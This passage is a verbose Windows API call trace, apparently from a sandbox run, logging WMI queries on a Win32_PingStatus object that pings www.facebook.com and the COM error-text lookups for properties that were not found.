varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22ba30c*=8, plFlavor=0x22ba310*=64) returned 0x0 [0138.813] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.813] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.813] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ba4ec*=0, plFlavor=0x22ba4f0*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22ba4ec*=3, plFlavor=0x22ba4f0*=64) returned 0x0 [0138.814] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ba520*=0, plFlavor=0x22ba524*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c68*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22ba520*=8200, plFlavor=0x22ba524*=64) returned 0x0 [0138.814] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ba554*=0, plFlavor=0x22ba558*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22ba554*=8, plFlavor=0x22ba558*=64) returned 0x0 [0138.814] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.814] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.814] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ba5a0*=0, plFlavor=0x22ba5a4*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22ba5a0*=8, plFlavor=0x22ba5a4*=64) returned 0x0 [0138.814] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.814] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.814] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ba5ec*=0, plFlavor=0x22ba5f0*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22ba5ec*=8, plFlavor=0x22ba5f0*=64) returned 0x0 [0138.815] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.815] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.815] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0138.815] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0138.815] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.815] IWbemClassObject:Get (in: This=0x5c506a0, wszName="WriteErrorStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ba828*=0, plFlavor=0x22ba82c*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ba828*=0, plFlavor=0x22ba82c*=0) returned 0x80041002 [0138.815] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0138.816] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c4f228) returned 0x0 [0138.816] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f228, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0138.816] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c4f228, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c4f258) returned 0x0 [0138.817] WbemStatusCodeText:IUnknown:Release (This=0x5c4f228) returned 0x0 [0138.817] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f258, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c4f258) returned 0x0 [0138.817] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f258, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0138.817] WbemStatusCodeText:IUnknown:AddRef (This=0x5c4f258) returned 0x3 [0138.817] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f258, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0138.817] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f258, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0138.817] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f258, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0138.817] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0138.817] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0138.817] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f258, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0138.817] WbemStatusCodeText:IUnknown:Release (This=0x5c4f258) returned 0x2 [0138.817] WbemStatusCodeText:IUnknown:Release (This=0x5c4f258) returned 0x1 [0138.817] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0138.817] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0138.817] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f258, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c4f258) returned 0x0 [0138.818] WbemStatusCodeText:IUnknown:AddRef (This=0x5c4f258) returned 0x3 [0138.818] WbemStatusCodeText:IUnknown:Release (This=0x5c4f258) returned 0x2 [0138.818] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c4f258, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0138.818] SysStringByteLen (bstr="Not found ") returned 0x14 [0138.819] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0138.819] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0138.819] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.819] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0138.819] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0138.819] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.819] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0138.819] SafeArrayGetDim (psa=0x5c78d28) returned 0x1 [0138.820] SafeArrayGetDim (psa=0x5c78d28) returned 0x1 [0138.820] SafeArrayGetLBound (in: psa=0x5c78d28, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0138.820] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.820] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.820] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.820] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.820] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.820] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.820] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.820] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.820] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.820] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.820] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.820] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.820] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.820] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.820] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.820] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.820] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.821] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.821] SysStringByteLen (bstr="__PATH") returned 0xc [0138.821] SysStringByteLen (bstr="__PATH") returned 0xc [0138.821] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bac08*=0, plFlavor=0x22bac0c*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22bac08*=3, plFlavor=0x22bac0c*=64) returned 0x0 [0138.821] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bac3c*=0, plFlavor=0x22bac40*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22bac3c*=8, plFlavor=0x22bac40*=64) returned 0x0 [0138.821] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.821] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.821] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bac94*=0, plFlavor=0x22bac98*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bac94*=8, plFlavor=0x22bac98*=64) returned 0x0 [0138.821] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bacbc*=0, plFlavor=0x22bacc0*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22bacbc*=8, plFlavor=0x22bacc0*=64) returned 0x0 [0138.822] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.822] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.822] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bad14*=0, plFlavor=0x22bad18*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22bad14*=8, plFlavor=0x22bad18*=64) returned 0x0 [0138.822] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.822] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.822] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22baef4*=0, plFlavor=0x22baef8*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22baef4*=3, plFlavor=0x22baef8*=64) returned 0x0 [0138.822] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22baf28*=0, plFlavor=0x22baf2c*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22baf28*=8200, plFlavor=0x22baf2c*=64) returned 0x0 [0138.823] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22baf5c*=0, plFlavor=0x22baf60*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22baf5c*=8, plFlavor=0x22baf60*=64) returned 0x0 [0138.823] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.823] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.823] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bafa8*=0, plFlavor=0x22bafac*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22bafa8*=8, plFlavor=0x22bafac*=64) returned 0x0 [0138.823] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.823] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.823] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22baff4*=0, plFlavor=0x22baff8*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22baff4*=8, plFlavor=0x22baff8*=64) returned 0x0 [0138.823] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.823] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.823] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0138.823] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0138.823] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.823] IWbemClassObject:Get (in: This=0x5c506a0, wszName="WriteWarningStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bb230*=0, plFlavor=0x22bb234*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bb230*=0, plFlavor=0x22bb234*=0) returned 0x80041002 [0138.823] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0138.825] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c4f228) returned 0x0 [0138.825] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f228, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0138.825] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c4f228, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c4f268) returned 0x0 [0138.825] WbemStatusCodeText:IUnknown:Release (This=0x5c4f228) returned 0x0 [0138.825] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f268, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c4f268) returned 0x0 [0138.825] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f268, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0138.826] WbemStatusCodeText:IUnknown:AddRef (This=0x5c4f268) returned 0x3 [0138.826] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f268, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0138.826] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f268, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0138.826] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f268, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0138.826] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0138.826] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0138.826] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f268, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0138.826] WbemStatusCodeText:IUnknown:Release (This=0x5c4f268) returned 0x2 [0138.826] WbemStatusCodeText:IUnknown:Release (This=0x5c4f268) returned 0x1 [0138.826] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0138.826] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0138.826] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f268, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c4f268) returned 0x0 [0138.826] WbemStatusCodeText:IUnknown:AddRef (This=0x5c4f268) returned 0x3 [0138.826] WbemStatusCodeText:IUnknown:Release (This=0x5c4f268) returned 0x2 [0138.826] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c4f268, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0138.826] SysStringByteLen (bstr="Not found ") returned 0x14 [0138.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0138.828] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0138.828] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: 